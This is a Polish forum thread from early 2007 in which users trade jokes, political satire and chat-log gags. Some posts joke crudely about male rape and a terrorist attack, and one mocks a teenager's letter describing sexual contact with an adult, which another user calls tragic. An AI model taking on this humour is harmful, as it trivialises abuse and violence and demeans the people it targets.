-Tawarisz pałkownik u was sztany* na abarot
-pa czom paznajetie? pa szwie?
-niet,pa gawnie...
*spodnie

KasiaK - 13-01-2007, 18:42

fuu
:lol:

bann - 14-01-2007, 17:48

Ksiądz chodzi po kolędzie:
kobieta pyta:
- to ile się należy proszę księdza?
ksiądz:
- co łaska...
dostaje kopretę i dodaje
- plus vat oczywiście...

ania1311 - 14-01-2007, 19:29

Przychodzi koleś do Mc Donalda i zamawia zestaw.
> - Czy chce Pan powiększone frytki? - pyta sprzedawczyni.- Powiększone frytki?! To można tak?
> - Oczywiście - odpowiada z politowaniem babeczka.
> - Rewelacja, to ja poproszę te powiększone frytki.
> Po chwili dostaje zestaw z frytkami. Podnosi jedną z
> nich,ogląda pod światlo badawczym wzrokiem i oznajmia z kamienną twarzą:
> - Przepraszam ja zamawiałem powiększone frytki...
> - No tak, to są powiększone...
> - Nie, ta frytka jest normalna...
> - No tak, bo powiększone, to chodzi o to, że one nie
> sąwiększe, tylko ma
> Pan ich więcej...
> - Proszę Pani, czy jakby chciała sobie Pani
> > > cyckipowiększyć, to by sobie
> Pani dorobiła trzeciego?

kn_dlugi - 14-01-2007, 22:46

http://bydlaku.patrz.pl/
jacola - 14-01-2007, 22:52

Jak rozpoznać gatunek niedzwiedzia? To proste...
Podchdzisz do śpiącego niedzwiedzia , kopiesz go z całej siły w d... i uciekasz na drzewo.
Jesli niedzwiedz: a) wlezie za tobą na drzewo to jest to n. brunatny
b) wyrwie drzewo razem z Tobą to jest to grizli
Natomiast jeżeli nie ma drzewa to z całą penością jest to niedzwiedz polarny...

zelmer - 15-01-2007, 14:47

c) jeżeli niedźwiedź sie rozpłacze - to jest Miś Collargol największa p.... wśród niedźwiedzi.
piotrm - 16-01-2007, 11:34

d) jezeli niedzwiedz wejdzie za toba na drzewo i zacznie jesc liscie eukaliptusowe to jest to "niedzwiedz" koala.
leszeksz - 16-01-2007, 11:46

e) jak wejdzie za tobą i wybuduje gniazdo to jest to "niedźwiedź" okularowy
martin - 17-01-2007, 12:51

Siedzi dziadek z albumem i mówi do wnuczka:
- Chodź Kurt oglądniemy zdjęcia...
Oglądają zdjęcia, dziadek mówi:
- To ciocia Ingrid, a to wuj Helmut.
Wnuczek wyciąga z za okładki stare zdjęcie na którym Hitler odbiera defiladę Wermachtu i pyta:
- Dziadku a to? Jakie ładne! Ile ludzi! Kto to jest ten pan z wąsikiem?
- To drogie dziecko był bardzo ZŁY CZŁOWIEK, pamiętaj, bardzo zły człowiek.
- Dziadku a dlaczego ty stoisz przed nim w mundurze i pokazujesz mu wyciągniętą do przodu rękę?
- Widzisz synku ja mu mówię: 'hola, hola zły człowieku'

----------------------------------------------

Spotykaja sie dwie kolezanki, jedna opowiada drugiej:
- Wiesz, wczoraj przyszedl do nas kolega meza
i posiedzielismy sobie troche, byla wodeczka,
ogolnie wesolo.
- I co dalej? - pota kolezanka.
- No coz, wiesz jakie mamy male mieszkanie, a kolega meza nie mial
jak wrocic do domu, wiec polozylismy sie razem.
- Razem! I co bylo dalej?
- No coz, nic... Tylko w nocy zadzwonil telefon, ze jest jakis
straszny pozar, a jak wiesz moj maz jest stazakiem. Pojechal wiec
do pozaru.
- A co na to kolega?
- Obudzil sie oczywiscie i jak tylko wyszedl maz zaczal: "czy moge?"
- A ty co na to? - dopytuje kolezanka
- Oczywiscie mowie nie!!! Jednak prosil i prosil, ciagle :"Prosze,
pozwol mi! Czy moge?" I wkoncu sie zgodzilam!!!
- Jak to! I jak bylo???
- No wlasnie, wiesz, co ta swinia zrobil?
- Co takiego?
- Wstal i wyzarl reszte salatki!!!!

gladius - 18-01-2007, 10:25

Te kawały zdecydowanie lepiej brzmią po rosyjsku, ale nie wiem, jak tu cyrylicę wkleić:

Zima, głęboka Syberia. Sowiecki pułkownik wizytuje stacjonujące tam oddziały. Jest -40 stopni, ślina zamarza zanim spadnie na ziemię. Noc.
Pułkownik staje przed żołnierzami, wszyscy ubrani w szuby, uszanki, rękawice z jednym palcem, walonki.
Pułkownik wita się: Zdrastwujtie, sołdaty!
- Zdrastwuj, towariszcz pałkownik!
- No czto, chołodno?
- Da, towariszcz pałkownik!
- Ruki miorzniot?
- Da, towariszcz pałkownik!
- Nogi miorzniot?
- Da, towariszcz pałkownik!
- Ch... miorzniot?
- Niet, towariszcz pałkownik!
- Kak eto wozmożno?!
- Potomu czto my żenskij batalion, towariszcz pałkownik!

***

Związek Radziecki. Znowu zima, mróz, zabita dechami wiejska stacja kolejowa. Następny pociąg za kilkanaście godzin. Jedyny pasażer wchodzi do kolejowego baru, rozgląda się po pustych półkach i zwraca się do siedzącej za kontuarem kobiety:
- Czaj u was jest?
- Niet.
- Kofi jest?
- Niet.
- A kipiatok jest?
- Da, tolko chołodnyj.

***
Manewry floty czarnomorskiej. Kapitan niszczyciela odbiera meldunek, że przez przypadek wystrzelono w ich kierunku uzbrojoną torpedę, która za 10 minut uderzy w okręt. Nie da się już uciec. Kapitan woła bosmana Wanię, krótko objaśnia sytuację i każe mu przygotować chłopaków.
Wania zwołał załogę do mesy, patrzy dyskretnie na zegarek i mówi - rebiata, jak walnę fujarą w stół, to ten statek się rozleci. Marynarze w śmiech, Wania rozpina spodnie, wyciąga, patrzy na zegarek i wali członkiem w stół... Wybuch, okręt rozpada się w drobny mak... po chwili na powierzchnię wypływa kapitan i Wania... trzymają się deski... Kapitan mówi: Wania, coś ty zrobił... torpeda nas dwa metry minęła.

KasiaK - 18-01-2007, 11:46

Synu, znalazłem ci wspaniałą kandydatkę na żonę!
- Ale tato... sam potrafie znaleść sobie dziewczynę... kto to jest?
- To córka Kulczyka!
- Suuuper! Trzeba było tak od razu!
Ojciec udaje się do Kulczyka na rozmowę:
- Dzień dobry Panu! Wydaje mi się, że znalazłem doskonałego kandydata na
męża Pańskiej córki!
- Wie Pan... ale ja nie szukam męża dla mojej córki...
- Ależ to wiceprezes Orlenu
- Cudownie! To zmienia postać rzeczy!
Następnie ojciec udaje się do prezesa Orlenu :
- Witam Pana Panie prezesie! Przychodzę z dobrą nowiną - mam idealnego
kandydata na wiceprezesa w Pańskiej firmie.
- No tak.. Ale ja nie szukam nikogo na tę posadę.
- Jest Pan pewien?! To zięć Kulczyka!
- Ooo! Chyba, że tak.

gladius - 18-01-2007, 13:22

Ekhm... Ojciec powinien z taką sprawą udać się do Rady Nadzorczej, a nie do prezesa Orlenu :22:
wrobel.cwirek - 18-01-2007, 14:41

U nas w firmie sa redukcje... ale warunki zwolnienia sa tak dobre a ludzie tak bardzo kochaja ta firme ze :

a colleaque even went to the cluster manager and asked to be fired

:D

kn_dlugi - 19-01-2007, 15:26

Problemy młodzieży
nuras81 - 21-01-2007, 11:49

pokemony gora!!!!!!!!!!!!!!!!!!!!!!! :20:
Adam Frajtak - 21-01-2007, 13:00

kn_dlugi napisał/a:
Problemy młodzieży


Dokładnie jakby czytał niektore posty na FN :22:

KasiaK - 21-01-2007, 13:28

buehehehe
"Kochana Kasiu! Ostatnio współżyłam z moim chłopakiem bez odpowiedniego zabezpieczenia. Teraz (po 4 miesiącach od tego zdarzenia) zauważyłam małego guza pod kolanem. Czy może to być ciąża poza maciczna??!! Proszę pomóż !
to mi sie najbardziej podoba :lol:
<mdleje>
hehehheehe

edit:
"Drogie BRAVO! Nazywam się Joanna i mam 14 lat,ostatnio byłam na imprezie i pierwszy raz w zyciu robiłam to z chłopakiem oralnie..on miał 23 lata...wszystko widziała moja starsza siostra która wezwała policje i Konrada aresztowali.Po paru dniach wezwano mnie na komende,dowiedziałam się,że Konrad,którego bardzo pokochałam jest jakimś pedofilem czy coś takiego..nie wiem co mam o tym mysleć...Co to znaczy pedofil i czy mam z nim zerwać??"

jednak nie moge sie zdecydowac, co podoba mi sie bardziej ;)

martusia - 21-01-2007, 15:06

KasiaK napisał/a:
jednak nie moge sie zdecydowac, co podoba mi sie bardziej



to nie jest śmieszne - to jest tragiczne :sad:

Adam Frajtak - 21-01-2007, 23:26

a nie mówiłem ze to co mozna przeczytać w Bravo to i na FN mozna znaleźć dir rozmiar od S do XXL
KasiaK - 22-01-2007, 09:20

w tym "dirowym" temacie, to i tak za bardzo nie wiem o co chodzi, bo został z czegos wyciety ;)

ale fakt.brzmi prawie rownie zabawnie, co ciaza pozamaciczna...........w kolanie

Adam Frajtak - 22-01-2007, 09:22

KasiaK napisał/a:
w tym "dirowym" temacie, to i tak za bardzo nie wiem o co chodzi, bo został z czegos wyciety ;)


No własnie tak to jest z przenoszeniem wątków .... chodzi o to kliken

Mania - 22-01-2007, 09:42

A przy okazji - nie wiem kto ten watek przenosil i robil nowy (zapewne z nowym tytulem), ale "po raz" pisze sie osobno, a nie razem.
:mrgreen:

Mania

KasiaK - 22-01-2007, 10:20

scaner napisał/a:
KasiaK napisał/a:
w tym "dirowym" temacie, to i tak za bardzo nie wiem o co chodzi, bo został z czegos wyciety ;)


No własnie tak to jest z przenoszeniem wątków .... chodzi o to kliken


aaaaaaaaaaaaaaaa
to juz kumam

btw. ciekawie sie rozwinął :mrgreen:

kn_dlugi - 23-01-2007, 21:37

Za górami, za lasami żyła sobie piękna, niezależna, pewnasiebieksiężniczka.
Pewnego razu natrafiła na żabę siedzącą na kamieniu i przyglądającą się brzegom nieskazitelnie czystego stawu
w pobliżu jej zamku. Żaba wskoczyła księżniczce na kolana i powiedziała:
- Piękna Pani, byłem przystojnym księciem, aż pewnego razuzła wiedźma rzuciła na mnie urok.Jednakże jeden Twój pocałunek wystarczy abym znów stał sięmłodym, żwawym księciem, jakim byłem przedtem. Wtedy, moja słodka, weźmiemy ślub i będziemy razem z moją matką gospodarowaćw tym zamku. Tam będziesz przygotowywać mi posiłki, prać moje ubranie,rodzić mi dzieci i będziemy żyli długo i szczęśliwie...
Tego wieczoru, przygotowując kolację, przyprawiając jąbiałym winem i sosem śmietanowo-cebulowym, księżniczka chichocząc cichutko pomyślała:
- No ku***, nie sądzę...
I dalej przewracała skwierczące na patelni żabie udka w panierce...

Adam Frajtak - 23-01-2007, 23:17

kibice :-)
Beeker - 24-01-2007, 09:41

kn_dlugi napisał/a:
- Piękna Pani, byłem przystojnym księciem, aż pewnego razuzła wiedźma rzuciła na mnie urok.Jednakże jeden Twój pocałunek wystarczy abym znów stał sięmłodym, żwawym księciem, jakim byłem przedtem. Wtedy, moja słodka, weźmiemy ślub i będziemy razem z moją matką gospodarowaćw tym zamku. Tam będziesz przygotowywać mi posiłki, prać moje ubranie,rodzić mi dzieci i będziemy żyli długo i szczęśliwie...


Inna puenta do tej zacnej historyjki:
Księżniczka: To już wolę mieć gadającą żabę ...
:)

The_PiotREX - 24-01-2007, 09:58

nieee to było z informatykiem!
Beeker - 24-01-2007, 10:19

Informatyk z Księciem?
A fuj! :mad:

Leszek Nowak - 24-01-2007, 11:06

<Tom> Ej, wytłumacz mi o co biega. Dzwoni moja dziewczyna i składa mi życzenia. Powaliło ją czy jak? Urodziny mam w październiku a imieniny w grudniu. Dzisiaj jest jakieś święto?
<GK> 23.06 - Dzień Ojca :D
<Tom>...
<Tom>o ja pie....lę...
<Gk> Wszystkiego najlepszego stary! :)

Anja - 24-01-2007, 11:09

obojętnie jak to szło...to będzie mój ulubiony dowcip :-D - ten o żabie
KasiaK - 25-01-2007, 00:02

Leszek Nowak napisał/a:
<Tom> Ej, wytłumacz mi o co biega. Dzwoni moja dziewczyna i składa mi życzenia. Powaliło ją czy jak? Urodziny mam w październiku a imieniny w grudniu. Dzisiaj jest jakieś święto?
<GK> 23.06 - Dzień Ojca :D
<Tom>...
<Tom>o ja pie....lę...
<Gk> Wszystkiego najlepszego stary! :)


hehehhe
kiedys to wykorzystam :22:

Leszek Nowak - 25-01-2007, 10:57

"Politycy doprowadzili już do tego, że kiedy czytam,
że PREZYDENT BYŁ NA PREMIERZE,
to nie wiem, czy to relacja z wydarzenia kulturalnego,
czy kolejny skandal seksualny."

gladius - 25-01-2007, 12:38

Leszek Nowak napisał/a:
"Politycy doprowadzili już do tego, że kiedy czytam,
że PREZYDENT BYŁ NA PREMIERZE,
to nie wiem, czy to relacja z wydarzenia kulturalnego,
czy kolejny skandal seksualny."


Tak... a jak widzę reklamę "Jarek z Lechem w rowie" to...

Tomek Radomski - 25-01-2007, 16:47

Trzech kolesi złapało złotą rybkę. Rybka, jak ma w zwyczaju mówi:
- Uwolnicie mnie, a spełnię każdemu z was po trzy życzenia.
Kolesie pogłówkowali, po chwili mówią - Okiej.
Pierwszy zapodaje:
- Ja to bym chciał mieć piękny dom w Bieszczadach, do tego konto z 10 milionami dolarów i piękną żonę.
Rybka mówi:
- Done.
Drugi mówi:
- A ja chcę mieć udziały w wielkim, międzynarodowym koncernie, ekskluzywną restaurację w centrum stolicy i 2 mulatki. Rybka odpowiada:
- No to masz.
Trzeci facet zastanawia się przez chwilę i zaczyna wymieniać:
- A ja to bym chciał, żeby lewa ręka mi ciągle wirowała nad głową, prawa ręka żeby się gibała wzdłuż ciała a głowa żeby ciągle waliła w przód i w tył.
Rybka na to: Stary, mogę to zrobić, ale jesteś pewien? Wiesz, masz trzy życzenia i możesz prosić o wszystko.
Trzeci facet odpowiada:
- Taaak, jestem pewien: lewa ręka ciągle wiruje nad głową, prawa się giba wzdłuż ciała, a głowa nap...dala ciągle w przód i w tył.
Rybka klasnęła płetwami i stało się.
Po roku spotykają się ci sami trzej faceci, by poopowiadać.
Pierwszy mówi:
- Paaaanowie, jest jedwabiście! Cisza, spokój, dobra i piękna żona, i żyję z procentów.
Drugi opowiada:
- A ja mam kasy jak lodu, jestem wiceprezesem zarządu i dzień w dzień śpie z dwoma mulatkami.
A trzeci facet, stojąc i wymachując kończynami bełkocze:
- Kuuuffa, chyba źle wybrałem.


----------------------------------------------


Dyrektor zwraca się do pracownika:
- Panie, pan wszystko robi powoli: powoli pan myśli, powoli pisze, powoli mówi, powoli się porusza! Czy jest coś, co robi pan szybko?
- Taaaaaaa, szybko się męcze...

Spaniel - 25-01-2007, 21:04

Skrzypek jako prezes NBP jest uosobieniem niezależności..
Niezależnie, co mu każą, on to zrobi.

Giertych powiedział, że jak nie będzie pieniędzy na podwyżki dla
nauczycieli, to się poda do dymisji. Chyba jeszcze nigdy nauczyciele
nie czuli się tak rozdarci wewnętrznie...

Lech Kaczyński spotkał się w Londynie z Tonym Blairem. Trwają
uzgodnienia, kto był gospodarzem tego spotkania...


- Jaka jest różnica między szefem banku centralnego a murarzem?
- Musisz mieć kwalifikacje aby zostać murarzem.

W ramach realizacji rządowego programu "tanie państwo" Sejm głosował
nad nowymi ustawami.
Wynik głosowania: ta nie, ta nie, ta nie...

Z ostatniej chwili:
Rządowy program "Trzy miliony mieszkań" został uznany za najlepszy
program humorystyczny w 2006 roku.

Jak podała PAP, Renata Beger, zwana także Larą Croft polskiej polityki,
oskarżyła Stanisława Łyżwińskiego o dyskryminację. Jej oznaką miało być
przyjęcie pokrzywdzonej do Samoobrony bez żadnych warunków.


Lech K. zawsze umiał sobie jasno wytyczyć cel w życiu. Kiedyś była to
piękna żona, teraz tanie państwo.


Co było pierwsze:kaczki czy jaja?
Kaczki...jaja są teraz...


Nowe hasło wyborcze Samoobrony:
WSTĄP DO NAS - WEŹMIEMY CIĘ NA CZŁONKA!


Po czym poznasz, że jesteś na zlocie Rodziny Radia Maryja?
W ciągu 2 dni spotykasz 10 000 kobiet i żadna nie jest w Twoim typie.


- Jaka w końcu jest ta polityka mieszkaniowa rządu: 3 miliony mieszkań,
czy mieszkania po 3 miliony?!

martin - 25-01-2007, 21:20

Kazik od zawsze robił to co lubił: całował żonę, wślizgiwał się do wyrka i od razu zasypiał. Pewnego dnia obudził się obok podstarzałego faceta ubranego w biały szlafrok.
- "Co ty do ku..wy nędzy robisz w moim łóżku?...I kim do cholery jesteś?" zapytał Kazik.
- "To nie jest twoja sypialnia. Jestem Św. Piotr i jesteś w niebie" dodał.
- "Że co ??!!Twierdzisz, że jestem martwy?? Nie chcę umierać, jestem na to jeszcze za młody! Chcę natychmiast wrócić na Ziemię!"
- "To nie takie proste" odpowiedział Święty. "Możesz wrócić jako kura albo jako pies. Wybór należy do ciebie"
Kazio pomysłał przez chwile i doszedł do wniosku, że bycie psem jest stanowczo za bardzo męczące a życie kury wydaje się być miłe i relaksujące. Bieganie po zagrodzie z kogutem nie może być złe.
- "Chcę powrócić jako kura" odpowiedział.
W kilka sekund pózniej znalazł się w skórze całkiem przyzwoicie upierzonej kury. Nagle jednak poczuł, że jego kuper zaraz eksploduje. Wtedy podszedł do niego kogut.
- "Hey! To pewnie ty jesteś tą nową kurą, o której mówił mi Św. Piotr" powiedział kogut
- "Jak ci się podoba bycie kurą?"
- "No jest ok ale mam to dziwne uczucie, że mi kuper zaraz eksploduje"
- "Ooo, no tak. To znaczy, że musisz znieść jajko" powiedział kogut
- "Jak mam to zrobić?"
- "Gdaknij dwa razy i zaprzyj się jak najmocniej potrafisz"
Kazio zagdakał i zaparł się jak najmocniej potrafił. Nagle "chluś" i jajko było już na ziemi.
- "Łoł to było zajebiste" powiedział Kazik. Zagdakał jeszcze raz, zaparł się i wypadło z niego kolejne jajo. Za trzecim razem, gdy zagdakał usłyszał krzyk swojej żony :
-"Kazik co ty k...a robisz! Obudź się! Zasrałeś całe łóżko!!!!"

---

Siedziałam w poczekalni u swojego nowego dentysty i rozglądałam się.
Zauważyłam na ścianie dyplom ukończenia studiów, na którym figurowało jego pełne imię i nazwisko. Znienacka mi się przypomniał wysoki, przystojny, ciemnowłosy chłopak o tym samym nazwisku chodził ze mną do liceum jakieś 30 lat temu.
Czyżby mój nowy dentysta był tym chłopakiem, w którym się nawet trochę podkochiwałam?
Jak go jednak zobaczyłam, szybko porzuciłam te myśli.
Ten prawie łysy facet z siwiejącymi włosami, brzuszkiem i twarzą pełną zmarszczek był zbyt stary, by mógł być moim kolegą ze szkoły A może jednak?
Po tym, jak mi przejrzał zęby, zapytałam go, czy nie chodził przypadkiem do XXVI LO.?
Tak. Owszem, chodziłem i byłem nawet jednym z najlepszych uczniów, zarumienił się.
A w którym roku Pan zdawał maturę? zapytałam.
On odpowiedział: W siedemdziesiątym szóstym. Dla czego Pani pyta?
To Pan był w mojej klasie! powiedziałam zachwycona.
Zaczął mi się uważnie przyglądać.
I następnie ten wstrętny, pomarszczony staruch zapytał:
A czego Pani uczyła?...

Garnett - 27-01-2007, 09:41

Nie wiedzialem gdzie to wrzucic czy tutaj czy do " muzyki rozrywkowej" Scanera ale jednak zdecydowalem ze tutaj :)

http://www.smog.pl/wideo/...ba_zlepperowac/


<misiu85> a moze zrobimy to u mnie?
<młoda90> dobra zróbmy to w końcu, bo juz mi sie klikanie znudziło...
<misiu85> tylko ubierz cos sexownego....
<młoda90> to gdzie mam przyjechac?
<misiu85> na Rydygiera wiesz gdzie to?
<młoda90> ...mieszkam na Rydygiera zaraz u Ciebie bede miśku tylko podaj mi dokładny adres
<misiu85> czekaj powiem córce, zeby pojechala do babci...zostaniemy sami
<młoda90> ok
<młoda90> z/w stary cos chce ode mnie
<młoda90> ej...sorry, ale ojciec powiedział mi przed chwilą, że babcia zrobiła konfitury i mam po nie jechac
<misiu85> yyyyy a jak masz na imię w ogóle?
<młoda90> Agnieszka
<misiu85> (NO SIGNAL)

pomuchel - 29-01-2007, 11:10

Pewne francuskie pismo ogłosiło konkurs na najlepszy opis poranka.
Pierwsze miejsce zajął autor takiej wypowiedzi: "Wstaję, jem śniadanie, biorę prysznic, ubieram się i jadę do domu"

[ Dodano: 29-01-2007, 11:20 ]
Terroryści, którzy zajęli fabrykę wódek i likierów piąty dzień nie mogą sformułować żądań.


Dwóch Arabów miało w USA sprawy do załatwienia. Udało im się załatwić je za jednym zamachem.

Rafi - 30-01-2007, 14:10

- Dlaczego kobieta ma w ciągu dnia tyle pracy?
- Bo śpi w nocy i jej się zbiera!


---------


<dawiddawyd> Czy tobie wszyscy z długimi włosami z metalem się kojarzą?
<górnik> długie włosy = metal
<dawiddawyd> sam mam długie włosy ale metalu nie słucham... Wolę rocka, funky, ogólny rhcp style.
<górnik> czyli jesteś metalem
<dawiddawyd> wierzysz w boga?
<górnik> tak
<dawiddawyd> w jezusa?
<górnik> tak
<dawiddawyd> no to gratulacje
<dawiddawyd> masz metala za proroka

bash roolez :22:

Tomek Radomski - 30-01-2007, 14:17

Jest pogrzeb... Trumna w dole, ludzie rzucają kwiaty... Nagle coś uderzyło w trumnę. Ludzie patrzą po sobie. Facet stojący przy dole mówi:
- Przepraszam bardzo, kwiaciarnia była zamknięta, kupiłem bombonierkę.


--------------------------------------------------


Spotyka się trzech facetów i siadają przy piwku.Jeden się pyta:
-Co chcielibyście,żeby powiedzieli na waszym pogrzebie?
Pierwszy odpowiada:
-A no chciałbym, żeby powiedzieli, że byłem najlepszym ojcem, synem i mężem na świecie...
Drugi mówi:
-A ja chciałbym, żeby powiedzieli, że byłem najlepszym piłkarzem świata...No a ty Janek??
Pyta się trzeciego
-A ja bym chciał, żeby powiedzieli tak: "On się rusza, on się rusza!!


------------------------------------------------


Polscy kibice wołają: - POLSKA GOLA!
A cudzoziemcy złośliwie dodają: - I WESOLA!


------------------------------------------------


Egzamin na prawo jazdy. Egzaminator zadaje kursantowi pytanie:
- Ma pan skrzyżowanie równorzędne. Tu jest pan w samochodzie osobowym, tutaj tramwaj, a tu karetka na sygnale. Kto przejedzie pierwszy?
- Motocyklista - odpowiada pytany.
- Panie, co pan wygadujesz - warczy zły egzaminator - Toż przecież mówię, jest pan, tramwaj i karetka. Skąd wziął się motocyklista?
- A ch*j ich wie, skąd oni się biorą.

ol_marcino - 30-01-2007, 20:40

Tomek Radomski napisał/a:

- A ch*j ich wie, skąd oni się biorą.

znienacka :asthanos:

ania1311 - 05-02-2007, 14:56

Pewien facet cierpiał na zaniki pamięci. Pewnego dnia, gdy przyszli do
niego goście, zaczął opowiadać, że teraz leczy się u bardzo dobrego
lekarza. Przyjaciele zapytali więc, jak ów medyk się nazywa.
- No właśnie, miałem na końcu języka... Pamiętacie może, był taki grecki
poeta, w starożytności, taki ślepy...
- No był, Homer. Ten lekarz ma na nazwisko Homer?
- Nie, nie! On napisał taką epopeję, o tym jak Grecy się tłukli pod takim
miastem, które próbowali zdobyć...
- No tak, zdobywali Troje. To co, ten lekarz się jakoś podobnie nazywa?
Albo mieszka na takiej ulicy?
- Nie, nie, nie! Tam był taki wódz tych, no, Greków, taki główny...
- Agamemnon?
- O! No i on miał brata...
- Menelaosa. Ale co to ma wspólnego z lekarzem?
- Zaraz mówię. I tam był taki wódz trojański, który temu Mene... jak mu
tam, uprowadził żonę.
- Aaaa, Parys! Ten lekarz nazywa się Parys?
- Nieeeee! Ta żona, co on ja uprowadził, to jak miała na imię?
- Helena.
- Właśnie. Helena! Helenkaaaaaaaaa - woła do żony myjącej w kuchni
naczynia - Jak się nazywa ten mój lekarz?

Efraim Ryba - 06-02-2007, 10:14

Rynek dużego miasta. Jakieœ występy. Gdzieœ z tyłu poœród stojĹĄcych widzów rozlega się nagle:
- Hej, kolego!
Nieco dalej ktos odwraca głowę.
- Kto, ja?
- Tak, ty!
- Nie jestesmy na >>ty<<!
- O, sorry, kolego.
- Nie jestem twoim kolega!
- Słuchaj, przyjacielu.
- Ani przyjacielem!
- Posłuchaj mnie, gosciu!
- Nie jestem żadnym >>gosciem<<!
- No to jak mam...
- >>Proszę pana<<
- OK, więc proszę...
- >>szanownego<<.
- Dobra, k..., a więc proszę szanownego pana...
- Dobrze, dobrze
- Czy szanowny pan widzi tamtego małego szczyla?
- Tego, który wsiada na motor?
- Tak, własnie tego.
- Widzę.
- No więc chciałem powiedzieć, kiedy bylismy jeszcze przy >>kolego<< - on akurat op...dalał wielce szanownemu panu kieszenie i torbę. Nie ma za co!

Rafi - 06-02-2007, 14:04

Po latach spotkało się trzech przyjaciół z LO. Chcąc, nie chcąc rozmowa zeszła na teściowe.
- Ja - mówi ten z IVd który skończył medycynę - załatwię gdzieś cyjanek i dodam ku*wie do kawy.
Ten po politechnice ( z IV c), zapodaje swój pomysł :
- Wezmę ku*wa pożyczke, kupie starej pipie Renault Clio i przetnę przewody hamulcowe. Niech się rozwali na drzewie,suka.
Gość z klasy sportowej, którego losy rzuciły na AR, mówi :
- A ja kupie dwadzieścia tabletek Ibupromu, wezmę to wszystko do gęby, przeżuje, zrobię z tego kule, wysuszę ja w mikrofali, i zostawię na stole w kuchni.
- Ale po co ? - pytają koledzy
- Wejdzie ta stara raszpla do kuchni, zobaczy kule i powie " Ale wielka tabletka Ibupromu". A ja wtedy wypadnę z łazienki i pier...lnę ja siekiera w plecy.

Adam Frajtak - 12-02-2007, 05:53

Facet wraca w nocy do domu. Z kieszeni wystaje mu wejsciówka do agencji
towarzyskiej.

Żona w płacz i pyta:

Czemu ty mi to robisz. Dbam o dom, gotuje sprzątam,dzieciakami się
zajmuję.
Czemu Ty chodzisz na te dziwki ?

On na to:

Kochanie wiesz... jak ja z nimi uprawiam sex, to one tak fajnie jęczą, a
Ty nie.

No, a gdybym ja jęczała, to nie chodziłbyś do tego burdelu?

On na to:

No, wtedy nie!

Wieczorem zaczyna się gra wstępna - mąż żone całuje, a ta odrywa usta od
jego ust i pyta:

Mam już jęczeć ?

Nie, poczekaj.

Facet schodzi do parteru - napalony już jak nie wiem co.

A ta znów:

Mam już jęczeć?

Poczekaj!

Kochają się, wreszcie dochodzi i szepcze:

No teraz... jęcz... jęcz!

Ona:
Na życie mi brakuje, znów za gaz podnieśli, Marek ma
dwóje z fizyki, Jola nie ma butów, nie wiem co mam jutro kupić na obiad...

Efraim Ryba - 16-02-2007, 11:26

Pewnego dnia wybrałem się z przyjaciółkami do klubu. Na "Wieczór
Gorących Mężczyzn".
Długo się wzbraniałem, bo to przecież babski wieczór i czułbym
się nieswojo, patrząc na półnagich gości.
Ale, w końcu, po wielu namowach dałem się skusić. W samym klubie piliśmy drinki i,
chcąc nie chcąc,
oglądaliśmy tancerzy.
Jedna z moich przyjaciółek, chcąc nam zaimponować, wyciągnęła z
portfela banknot 50 zł.
Tancerz podszedł do nas, a ona wtedy polizała ten banknot i przykleiła go do
pośladka tancerza.
Druga z przyjaciółek, nie chcąc być gorsza, wyjęła z portfela
banknot 100 zł.
Kiedy tancerz podszedł do niej, polizała banknot i przykleiła
go do drugiego pośladka.
Chcąc przebić wszystkich, trzecia koleżanka wyjęła z portfela
dwa
banknoty po 100 zł.
Polizała je i przykleiła do pośladków tancerza. Uwaga
przyjaciółek skupiła się na mnie.
Co miałem zrobić? Cos jeszcze śmielszego? Wyjąłem swój portfel, pomyślałem przez chwile...
W końcu wyjąłem swoją kartę bankomatową, przejechałem nią
między pośladkami tancerza.
Następnie zabrałem całe 350 złotych i poszedłem do domu...

kn_dlugi - 18-02-2007, 17:47

Żona (chora-przeziębiona) do męża:
- Ja się położę, a Ty może byś mi pomógł w obowiązkach domowych??
- To co? Mam się położyć obok Ciebie? :22:

mysiar - 19-02-2007, 12:30

Alladyn w skrzyni ze skarbami znajduje starą lampę
Na lampie widnieje napis:
Spełnię za darmo kaźde twoje życzenie
Dżinn
Alladyn wypuszcza dżinna z lampy a ten zaraz po wyjściu rzuca się na niego, wiąże go jego własnym turbanem, zdziera z niego portki i rżnie aż wióry lecą.
Morał: Jeśli ktoś oferuje ci coś za friko, najprawdopodobniej chce cię wydymać.



Przerażona żona mówi do męża: - Zajrzałam dzisiaj do pokoju naszego syna. Przeżyłam szok: w szufladzie, obok paczki papierosów, znalazłam fragmenty ludzkich szczątków, broń i pokrwawione noże... Omal nie zemdlałam. Mąż purpurowieje ze złości: - No, niech tylko gówniarz wróci! Już ja go oduczę palić!




Wilk odbiera komórkę. - Słucham, mamusiu! - Czy dzisiaj też wrócisz późno jak zwykle? - A dlaczego pytasz? - Bo upiekłam ci pyszne ciasteczka, te co lubisz! - Nie zjem chyba ani jednego... Przed chwilą zjadłem całą babkę.

Spaniel - 19-02-2007, 19:33

Małżeństwo było na wakacjach w Pakistanie. Zwiedzali właśnie targ, aby znaleźć kilka pamiątek, które mogli by wręczyć znajomym aż zaszli w dziwna uliczkę, gdzie był tylko jeden mały sklepik z sandałami. Już mieli zawrócić, gdy ze sklepu dobiegł ich glos:
- Hej, wy ! Zagraniczni ! Chodźcie, chodźcie ! Wejdźcie do mojego sklepiku !
Po chwili wahania weszli jednak do środka. Tam w ukłonach przywitał ich mały człowieczek i powiedział:
- Mam dla was specjalne sandały, które mogą was zainteresować. One maja magiczną moc. Sprawiają, ze jesteś tak dziki w łóżku jak spragniony wielbłąd na pustyni !
Żona od razu chciała je kupić, ale mąż był bardzo sceptycznie nastawiony do tego pomysłu. Uważał, ze nie potrzebuje takich sandałów, bo i tak jest niezłym buhajem, a poza tym nie brzmiało to zbyt wiarygodnie. Więc zapytał sklepikarza:
- Jak to możliwe, ze Twoje sandały mają aż tak wielką moc?
- O nic nie pytaj. Po prostu je przymierz, Saheeb. Sandały same Ci to udowodnią. - odpowiedział sklepikarz.
Mąż w dalszym ciągu nie wierzył w te zapewnienia i nie chciał ich przymierzać. Po długich naleganiach żony wreszcie się zgodził. Jak tylko wsunął swoje stopy w sandały od razu poczuł silne podniecenie. W oczach pojawił mu się błysk pożądania i poczuł coś, czego nie czuł od lat - nieodpartą, brutalną ochotę na sex. W mgnieniu oka złapał sklepikarza, zmusił go do skłonu,oparł o stolik, ściągnął mu spodnie i zaczął go ładować od tyłu.
Na co sklepikarz wrzasnął tak przeraźliwie jak jeszcze nikt nigdy nie krzyczał:
- STÓJ ! STÓJ, SZALONY ! ... ZAŁOŻYŁEŚ LEWY NA PRAWY!.............

Rafi - 21-02-2007, 22:07

